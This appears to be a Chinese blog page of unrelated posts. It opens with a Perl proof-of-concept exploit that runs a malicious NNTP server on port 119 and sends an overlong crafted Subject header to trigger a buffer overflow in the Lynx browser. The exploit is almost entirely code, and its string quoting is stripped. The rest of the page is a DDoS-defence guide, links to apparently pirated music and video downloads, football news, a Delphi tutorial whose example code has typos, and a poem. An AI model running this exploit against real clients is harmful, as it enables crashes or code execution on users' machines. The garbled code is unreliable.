跳到正文

【linux系统漏洞】Lynx Browser NNTP Handling Remote Buffer Overflow

#!/usr/bin/perl --

# lynx-nntp-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 119;
$main::timeout = 5;

# *** SUBROUTINES ***

sub mysend($$)
{
my $file = shift;
my $str = shift;

print $file $str\n;
print SENT: $str\n;
} # sub mysend

sub myreceive($)
{
my $file = shift;
my $inp;

eval
{
local $SIG{ALRM} = sub { die alarm\n };
alarm $main::timeout;
$inp = <$file>;
alarm 0;
};

if ($@ eq alarm\n) { $inp = ''; print TIMED OUT\n; }
$inp =~ tr/\015\012\000//d;
print RECEIVED: $inp\n;
$inp;
} # sub myreceive

# *** MAIN PROGRAM ***

{
my $server = IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $main::port,
Listen => SOMAXCONN,
Reuse => 1);
die can't set up server!\n unless $server;


while (my $client = $server->accept())
{
$client->autoflush(1);
print 'connection from '.$client->peerhost.\n;


mysend($client, '200 Internet News');
my $group = 'alt.angst';

while (my $str = myreceive($client))
{
if ($str =~ m/^mode reader$/i)
{
mysend($client, '200 Internet News');
next;
}

if ($str =~ m/^group ([-_.a-zA-Z0-9]+)$/i)
{
$group = $1;
mysend($client, 211 1 1 1 $group);
next;
}

if ($str =~ m/^quit$/i)
{
mysend($client, '205 Goodbye');
last;
}

if ($str =~ m/^head ([0-9]+)$/i)
{
my $evil = '$@UU(JUU' x 21; # Edit the number!
$evil .= 'U' x (504 - length $evil);

my $head = <221 $1
Path: host!someotherhost!onemorehost
From:
Subject: $evil
Newsgroup: $group
Message-ID:
.
HERE

$head =~ s|\s+$||s;
mysend($client, $head);
next;
}

mysend($client, '500 Syntax Error');
} # while str=myreceive(client)

close $client;
print closed\n\n\n;
} # while client=server->accept()
}

防御DDOS攻击终极指南

一、为何要DDOS?  
  随着Internet互联网络带宽的增加和多种DDOS黑客工具的不断发布,DDOS拒绝服务攻击的实施越来越容易,DDOS攻击事件正在成上升趋势。出于商业竞争、打击报复和网络敲诈等多种因素,导致很多IDC托管机房、商业站点、游戏服务器、聊天网络等网络服务商长期以来一直被DDOS攻击所困扰,随之而来的是客户投诉、同虚拟主机用户受牵连、法律纠纷、商业损失等一系列问题,因此,解决DDOS攻击问题成为网络服务商必须考虑的头等大事。
  二、什么是DDOS?
  DDOS是英文Distributed Denial of Service的缩写,意即“分布式拒绝服务”,那么什么又是拒绝服务(Denial of Service)呢?可以这么理解,凡是能导致合法用户不能够访问正常网络服务的行为都算是拒绝服务攻击。也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的。虽然同样是拒绝服务攻击,但是DDOS和DOS还是有所不同,DDOS的攻击策略侧重于通过很多“僵尸主机”(被攻击者入侵过或可间接利用的主机)向受害主机发送大量看似合法的网络包,从而造成网络阻塞或服务器资源耗尽而导致拒绝服务,分布式拒绝服务攻击一旦被实施,攻击网络包就会犹如洪水般涌向受害主机,从而把合法用户的网络包淹没,导致合法用户无法正常访问服务器的网络资源,因此,拒绝服务攻击又被称之为“洪水式攻击”,常见的DDOS攻击手段有SYN Flood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、Connections Flood、Script Flood、Proxy Flood等;而DOS则侧重于通过对主机特定漏洞的利用攻击导致网络栈失效、系统崩溃、主机死机而无法提供正常的网络服务功能,从而造成拒绝服务,常见的DOS攻击手段有TearDrop、Land、Jolt、IGMP Nuker、Boink、Smurf、Bonk、OOB等。就这两种拒绝服务攻击而言,危害较大的主要是DDOS攻击,原因是很难防范,至于DOS攻击,通过给主机服务器打补丁或安装防火墙软件就可以很好地防范,后文会详细介绍怎么对付DDOS攻击。
  三、被DDOS了吗?
  DDOS的表现形式主要有两种,一种为流量攻击,主要是针对网络带宽的攻击,即大量攻击包导致网络带宽被阻塞,合法网络包被虚假的攻击包淹没而无法到达主机;另一种为资源耗尽攻击,主要是针对服务器主机的攻击,即通过大量攻击包导致主机的内存被耗尽或CPU被内核及应用程序占完而造成无法提供网络服务。
   如何判断网站是否遭受了流量攻击呢?可通过Ping命令来测试,若发现Ping超时或丢包严重(假定平时是正常的),则可能遭受了流量攻击,此时若发现和你的主机接在同一交换机上的服务器也访问不了了,基本可以确定是遭受了流量攻击。当然,这样测试的前提是你到服务器主机之间的ICMP协议没有被路由器和防火墙等设备屏蔽,否则可采取Telnet主机服务器的网络服务端口来测试,效果是一样的。不过有一点可以肯定,假如平时Ping你的主机服务器和接在同一交换机上的主机服务器都是正常的,突然都Ping不通了或者是严重丢包,那么假如可以排除网络故障因素的话则肯定是遭受了流量攻击,再一个流量攻击的典型现象是,一旦遭受流量攻击,会发现用远程终端连接网站服务器会失败。
   相对于流量攻击而言,资源耗尽攻击要容易判断一些,假如平时Ping网站主机和访问网站都是正常的,发现突然网站访问非常缓慢或无法访问了,而Ping还可以Ping通,则很可能遭受了资源耗尽攻击,此时若在服务器上用Netstat -na命令观察到有大量的SYN_RECEIVED、TIME_WAIT、FIN_WAIT_1等状态存在,而ESTABLISHED很少,则可判定肯定是遭受了资源耗尽攻击。还有一种属于资源耗尽攻击的现象是,Ping自己的网站主机Ping不通或者是丢包严重,而Ping与自己的主机在同一交换机上的服务器则正常,造成这种原因是网站主机遭受攻击后导致系统内核或某些应用程序CPU利用率达到100%无法回应Ping命令,其实带宽还是有的,否则就Ping不通接在同一交换机上的主机了。
   当前主要有三种流行的DDOS攻击:
  1、SYN/ACK Flood攻击:这种攻击方法是经典最有效的DDOS方法,可通杀各种系统的网络服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伪造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态,大量的这种攻击会导致Ping失败、TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。
  2、TCP全连接攻击:这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多网络服务程序(如:IIS、Apache等Web服务器)能接受的TCP连接数是有限的,一旦有大量的TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此容易被追踪。
  3、刷Script脚本攻击:这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击方法。一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过Proxy代理向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务,常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy代理就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露攻击者的IP地址。
  四、怎么抵御DDOS?
   对付DDOS是一个系统工程,想仅仅依靠某种系统或产品防住DDOS是不现实的,可以肯定的是,完全杜绝DDOS目前是不可能的,但通过适当的措施抵御90%的DDOS攻击是可以做到的,基于攻击和防御都有成本开销的缘故,若通过适当的办法增强了抵御DDOS的能力,也就意味着加大了攻击者的攻击成本,那么绝大多数攻击者将无法继续下去而放弃,也就相当于成功的抵御了DDOS攻击。以下为笔者多年以来抵御DDOS的经验和建议,和大家分享!
  1、采用高性能的网络设备
   首先要保证网络设备不能成为瓶颈,因此选择路由器、交换机、硬件防火墙等设备的时候要尽量选用知名度高、口碑好的产品。再就是假如和网络提供商有特殊关系或协议的话就更好了,当大量攻击发生的时候请他们在网络接点处做一下流量限制来对抗某些种类的DDOS攻击是非常有效的。
  2、尽量避免NAT的使用
   无论是路由器还是硬件防护墙设备要尽量避免采用网络地址转换NAT的使用,因为采用此技术会较大降低网络通信能力,其实原因很简单,因为NAT需要对地址来回转换,转换过程中需要对网络包的校验和进行计算,因此浪费了很多CPU的时间,但有些时候必须使用NAT,那就没有好办法了。
  3、充足的网络带宽保证
 网络带宽直接决定了能抗受攻击的能力,假若仅仅有10M带宽的话,无论采取什么措施都很难对抗现在的SYNFlood攻击,当前至少要选择100M的共享带宽,最好的当然是挂在1000M的主干上了。但需要注意的是,主机上的网卡是1000M的并不意味着它的网络带宽就是千兆的,若把它接在100M的交换机上,它的实际带宽不会超过100M,再就是接在100M的带宽上也不等于就有了百兆的带宽,因为网络服务商很可能会在交换机上限制实际带宽为10M,这点一定要搞清楚。
  4、升级主机服务器硬件
 在有网络带宽保证的前提下,请尽量提升硬件配置,要有效对抗每秒10万个SYN攻击包,服务器的配置至少应该为:P4 2.4G/DDR512M/SCSI-HD,起关键作用的主要是CPU和内存,若有志强双CPU的话就用它吧,内存一定要选择DDR的高速内存,硬盘要尽量选择SCSI的,别只贪IDE价格不贵量还足的便宜,否则会付出高昂的性能代价,再就是网卡一定要选用3COM或Intel等名牌的,若是Realtek的还是用在自己的PC上吧。
  5、把网站做成静态页面
 大量事实证明,把网站尽可能做成静态页面,不仅能大大提高抗攻击能力,而且还给黑客入侵带来不少麻烦,至少到现在为止关于HTML的溢出还没出现,看看吧!新浪、搜狐、网易等门户网站主要都是静态页面,若你非需要动态脚本调用,那就把它弄到另外一台单独主机去,免的遭受攻击时连累主服务器,当然,适当放一些不做数据库调用脚本还是可以的,此外,最好在需要调用数据库的脚本中拒绝使用代理的访问,因为经验表明使用代理访问你网站的80%属于恶意行为。
  6、增强操作系统的TCP/IP栈
 Win2000和Win2003作为服务器操作系统,本身就具备一定的抵抗DDOS攻击的能力,只是默认状态下没有开启而已,若开启的话可抵挡约10000个SYN攻击包,若没有开启则仅能抵御数百个,具体怎么开启,自己去看微软的文章吧!《强化 TCP/IP 堆栈安全》- http://www.microsoft.com/china/t ... ance/secmod109.mspx
也许有的人会问,那我用的是Linux和FreeBSD怎么办?很简单,按照这篇文章去做吧!《SYN Cookies》- http://cr.yp.to/syncookies.html
  7、安装专业抗DDOS防火墙
  8、其他防御措施
 以上的七条对抗DDOS建议,适合绝大多数拥有自己主机的用户,但假如采取以上措施后仍然不能解决DDOS问题,就有些麻烦了,可能需要更多投资,增加服务器数量并采用DNS轮巡或负载均衡技术,甚至需要购买七层交换机设备,从而使得抗DDOS攻击能力成倍提高,只要投资足够深入,总有攻击者会放弃的时候,那时候你就成功了!:)

《All The Right Reasons》

[img]http://music.tshx.net/download/upimages/2005-10/2005101336590610.jpg[/img]
Nickelback最早成立于加拿大的小城Hanna,最初的成员是Chad Kroeger(主唱/吉他手),他的兄弟Mike Kroeger(贝斯手),他们的表兄弟Brandon,以及他们的好朋友Ryan Peake(吉他手)。他们开始演唱一些歌星的歌曲。1996年,Chad Kroeger向他的继父借了4000块钱跑到了温哥华一个朋友的录音室里录制歌曲,其间,Brandon离开了乐队,他们的朋友Ryan Vikedal接任了鼓手一职。这一年,他们发行了一张EP唱片《Hesher》,并且发行了一张独立专辑《Curb》,并且开始了巡回演出,但是他们是没有丝毫名气的,他们花费大量时间去散发宣传材料和广告,以及发动亲戚朋友向电台打电话要求播放他们的歌曲,从而使乐队得到一定程度上的宣传,并且拥有了自己第一批较为固定的歌迷。

  1998年,他们解雇了自己的经纪人,原因是他们的经纪人并不能宣传推广他们,并且不能把他们带到一个更高的地位。之后的时间里,乐队由Mike Kroeger主要负责财务方面,Chad Kroeger主要负责音乐方面,Ryan Vikedal则负责曰程安排等。之后他们投资三万元来制作他们的第二张专辑。2000年初,第二张独立专辑《The State》正式发行。当时的加拿大摇滚音乐几乎完全被国外的摇滚乐所占领,他们急需寻找自己本土化的摇滚乐。正在这时候,加拿大人发现了Nickelback乐队,这使他们迅速窜红,他们追求的post-grunge(后车库音乐/后垃圾音乐)音乐风格成为歌迷的最爱,他们的巡回演唱会也成为了音乐界的热点,他们的独立专辑销量也没有败给唱片产业。

下载地址:(要用目标另存啊,别用下载工具!!!)
http://mp3.tshx.net/mp3/nickelba ... sic.tshx.net%5D.rar

阿森纳世紀回顧DVD- 博格坎普與亨利的100個球會入球.

[img]http://shop.arsenal.com/arsenal/assets/product_images/large/l_14290.jpg[/img]
下載影片 (博格坎普):http://www.mininova.org/get/65261
請用鼠標點擊下載- 阿森纳世紀回顧DVD- 博格坎普的100個球會進球.      (全新地址, 不需註冊)請直接點擊下載.
〖片  长〗大約2小时
〖国  家〗英语
〖语  言〗英语
〖大  小〗700.05MB
〖视频尺寸〗512 × 384
〖压缩格式〗x264 750k + MP3 128k

Henry留下..我厂应该做些什么?

[color=#FF6347]本赛季英超联赛半程即将结束,对于两年前还不败夺冠的阿森纳来说,今年少了维埃拉的他们正处于重组当中。今年漫说是英超冠军,就是相比于联赛前四的位置,目前处在第7的枪手也少了5分之多。这样的战绩不仅难以吸引其他的大牌球星加盟,就是本队的几员老将,是否人心思变也成了问题。不过,作为温格的同胞,亨利还是表达了暂时不会离开的态度,不过,眼见联赛无望的亨利也表示,他已经将目光转移到冠军杯上.
     不过,谈到巴萨对于自己的青睐,亨利则说:“很高兴有人对我感兴趣,不过,至少是目前,不会有任何事情发生。”不过,亨利并没有谈到自己的未来。显然,如果阿森纳本赛季没有得到任何冠军,而球队也没能取得明年冠军杯资格的话,那时,加盟巴萨,与小罗并肩战斗,也许将会成为事实。
    放弃V4个人认为是正确的...但应该在新锐力量成长起来的同时注意留住老队员..
    P7..甚至B9等人都可以再留一年...带带新人...也为Henry减轻一些压力..留些希望
    切尔西现在已经把英超夺冠提升到了不可达到的程度..
    所以就象中超元年一样..锻炼新人为来年做准备..是毫无疑问的..
    我厂的fans们..多给球队一些宽容吧..!!
[/color]

阿森纳引援突袭巨无霸型杀手 温格又对亨利提出新要求

[size=2] [color=#FF4500]今年25岁的季基奇是塞黑国家队的主力前锋,与利物浦“当红花旦”克劳奇一样,季基奇也拥有超过2米的身高,不过与克劳奇纤弱的竹竿体形不同,季基奇身体强壮,属于“巨无霸”式中锋。此外,做为塞黑足球新一代的代表人物,齐基奇身高体壮,还有塞黑足球所特有的细腻脚法,很多欧洲豪门都在打他的主意。中国球迷对这位塞黑高佬也不应该陌生,去年11月塞黑国家队与中国国家队进行了一场友谊赛,季基奇头球破门锁定胜局。

  或许是看到克劳奇在利物浦发挥的巨大作用,温格也对高大型前锋动了心。而且头球一直是枪手软肋,若能在亨利身边安插一个空霸,既能头球射门又能争顶摆渡,对亨利来说也是一件好事。这样,博格坎普挂靴后,阿森纳仍能保持4前锋的攻击阵容,人员齐整时雷耶斯可以补充到左边路,一旦有人受伤,也不会让温格在派兵布阵上过于头疼。

  不过眼下温格最大的心愿仍放在亨利身上,虽然阿森纳队长已经明确表示要跟球队续约,但是没有落笔之前,温格还是觉得心理不踏实,因此阿森纳主帅督促亨利尽快完成续约合同。温格说:“我一直认为亨利不会走。现在他已经做出最后决定,那么应该以最快速度解决所有问题。这是我眼下最大的希望,因为续约问题拖得越久,越不利于俱乐部和球队。如果他还在犹豫,我们可以等,说实话我已经做好了长期等待的准备。但是现在情况不同了,决定已经公布了,我觉得应该让所有事情迅速解决。”

  除了亨利,温格还希望莱曼和皮雷的续约谈满能尽快完成。“莱曼应该在1月份完成新合同。眼下赛程非常密集,我没有时间单独找队员谈这些事情。比如皮雷,这个星期肯定谈不了了,阿森纳一周双赛,下个星期吧,我们一起谈谈。”

[/color][/size]

梅西换球衣号码了~

巴萨近日向LEP(西班牙足协)正式注册了梅西作为一队职业球员的资格,此举将改变梅西的战袍号码(西班牙足协规定1-25号之内的号码属于一队正式球员,而25之后则属于梯队球员),梅西从下场比赛中将身披19号战袍迎战西班牙人队.

另外西班牙人队中阿根挺青年队,梅西的队友,萨帕赖塔也更改了号码,从原本的19号改为了8号.

Delphi易混淆的概念

一、Owner和Parent的区别:


  Parent属性是指构件的包容器,构件只能在此范围内显示和移动。

举例子如下:

  (1)在Form1的窗体上,放一个Panel1,并将Panel1拉大,

  (2)在Panel1上放一Button1;

  (3)在Form1上放一Button2。


  现在如果移动Panel1,则Button1随着Panel1移动,这是因为Button1

的Parent是Panel1。现在将Button2移到Panel1上,再次移动Panel1,

Button2并不跟着移动,这是因为Button2的Parent是Form

1。除在窗体设计中,应注意构件的Parent是谁外,在动态创建构件时,

也应指出构件的Parent,如在上例中继续操作:

  1)Procedure Tform1.Button2click(Sender:Tobjet);

  2)Var

  3) Button:Tbutton;

  4) Begin

  5) Button:Tbutton.cerate(self);

  6) Button.parent=panel1;

  7) Button.lleft=0;

  8) Button.top=0;

  9) Button.caption:='OK';

  10) End;


  当按Button2时,将在Panel1上创建一个Button,而如果把第6句改

为Button.parent:=self;按Button2时,将在Form1上创建一个Button

了。如果将第6句删除,按Button2时,什么都不会发生,这是因为创建

方法无法知道应在哪里显示构件。


  Owner属性是指构件的所有者,它负责构件的创建和释放。如在上例

中,系统默认窗体上所有构件的所有者是窗体,而窗体的所有者是

Application。顺便指出,create方法应带有表示构件所有者的参数,如

在上例中,构件所有者是窗体,即self。


  Parent属性和Owner属性是运行阶段的属性,只能在运行阶段,通过

代码设置。  


二、Self和Sender的区别:


  在事件处理程序参数表中,至少含有一个参数Sender,它代表触发事

件处理程序的构件,如在上例中,Sender就指Button2,有了Sender参数,

可以使多个构件共用相同的事件处理程序,如下例:

  Procedure Tform1.Buttonclick(Sender:Tobject);

  Begin

  If sender=button1 then

  Label1.caption:=′看庭前花开花落

′   Else Label2.caption:=′望天上云卷云舒′

  End;


  在此例中,Button1,Button2共用了Buttonclick事件处理程序。


  Self是指所编的程序范围是在哪一个类中,Delphi中大都在窗体范围

内编程,因此,self即指窗体,如果在编写一个类或是一个组件,则self

指该类或组件。我们在函数或过程的声明中可看出self是代表哪个组件,

即self代表‘.’号之前的组件,如在第一个例子中,self代表Tform1。另

外应注意,self只能用在类方法中,而不能用在过程或函数中,如下例用

法是错的:

Function a1(B:Integer):Integer;

  Begin

  ……

  Button:=tbutton.create(self);……

  End;  


三、Clientheight和Height,Clientwidth和Width的区别:


  对于一般的构件而言,Height就是Clientheight,Width就是Clientwidth,

而对于窗体而言,Height是包括标题条在内的高度,而Clientheight是指

窗体工作区的高度。同理,Clientwidth是指定窗体工作区的宽度。


  从上面陈述可知,理解Ower和Parent,Self和Sender,Clientheight

和Height,Clientwidth和Width区别,对于Delphi中正确编程是重要的。

鱼对水说......水对鱼说......

[color=#0000FF]鱼对水说:你看不见我的眼泪,因为我在水中。
  水对鱼说;我能感觉到你的眼泪,因为你在我心中。
  我不是鱼,你也不是水。你能看见我寂寞的眼泪吗?


  鱼对水说:我永远不会离开你,因为离开你,我无法生存。
  水对鱼说:我知道,可是如果你的心不在呢?
  我不是鱼,你也不是水。我不离开你是因为我爱你。
  可是,你的心里有我吗?

  鱼对水说:我很寂寞,因为我只能待在水中。
  水对鱼说:我知道,因为我的心里装着你的寂寞。
  我不是鱼,你也不是水。我寂寞是因为我思念你。
  可是,远方的你能感受到吗?

  鱼对水说:如果没有鱼,那水里还会剩下什么?
  水对鱼说:如果没有你,那又怎么会有我?
  我不是鱼,你也不是水。没有你的爱,我依然会好好的活。
  可是,好好的活并不代表我可以把你忘记。

  鱼对水说:一辈子不能出去看看外面的世界,是我最大的遗憾。
  水对鱼说:一辈子不能打消你的这个念头,是我最大的失败。
  我不是鱼,你也不是水。现在的我只想要一个一辈子的承诺。
  可是,你负担得起吗?

  鱼对水说:在你的一生中,我是第几条鱼?
  水对鱼说:你不是在水中的第一条鱼,但却是在我心中的第一条。
  我不是鱼,你也不是水。我们都不是彼此生命中的第一个,
  可是,你知道吗?你却是我第一个想嫁的人。

  鱼对水说:你相信一见钟情吗?
  水对鱼说:当我意识到你是鱼的那一刻,就知道你会游到我的心里。
  我不是鱼,你也不是水。我以为我对你的爱不会长久,因为那是一见钟情。
  可是,我错了,感情如酒,越封越浓越长久。

  鱼对水说:为什么每次都是我问你答?
  水对鱼说:因为我喜欢在问答中让你了解我的心。
  我不是鱼,你也不是水。为什么你总是让我等待?
  难道你不知道,等待=失去信心=放弃。

  如果我是鱼,而你是水,那该多好!水永远都知道鱼的想法,因为鱼在水心里。
  但是我不是鱼,你也不是水。你永远都不知道我的爱,
  因为我也许根本就不在你的心里。


  鱼说:没有人了解我,因为我的心一直在飘泊,
  水说:我一直感受得到你,因为为你一直追随着你。


[/color]